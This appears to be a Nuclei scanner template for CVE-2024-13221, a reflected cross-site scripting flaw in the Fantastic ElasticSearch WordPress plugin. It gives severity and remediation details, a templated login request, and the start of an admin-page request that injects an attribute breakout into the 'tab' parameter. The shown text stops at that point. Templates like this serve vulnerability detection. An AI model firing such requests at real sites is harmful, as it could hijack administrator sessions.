id: CVE-2024-13221
info:
name: Fantastic ElasticSearch Plugin <= 4.1.0 - Cross-Site Scripting
author: Sourabh-Sahu
severity: medium
description: |
Fantastic ElasticSearch WordPress plugin <= 4.1.0 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute malicious scripts in the context of high privilege users, exploit requires victim to visit a malicious link.
impact: |
Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.
remediation: |
Update to version 4.1.1 or later where input sanitization and escaping are properly implemented.
reference:
- https://wpscan.com/vulnerability/693f4cc4-a082-46bc-abc9-a08919f70157/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-13221
cwe-id: CWE-79
epss-score: 0.00582
epss-percentile: 0.4521
cpe: cpe:2.3:a:parisholley:fantastic_elasticsearch:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: parisholley
product: fantastic_elasticsearch
tags: cve,cve2024,fantastic-elasticsearch,wordpress,wp,wp-plugin,xss,authenticated
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- contains(header, "wordpress_logged_in")
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=elastic_search&tab=index">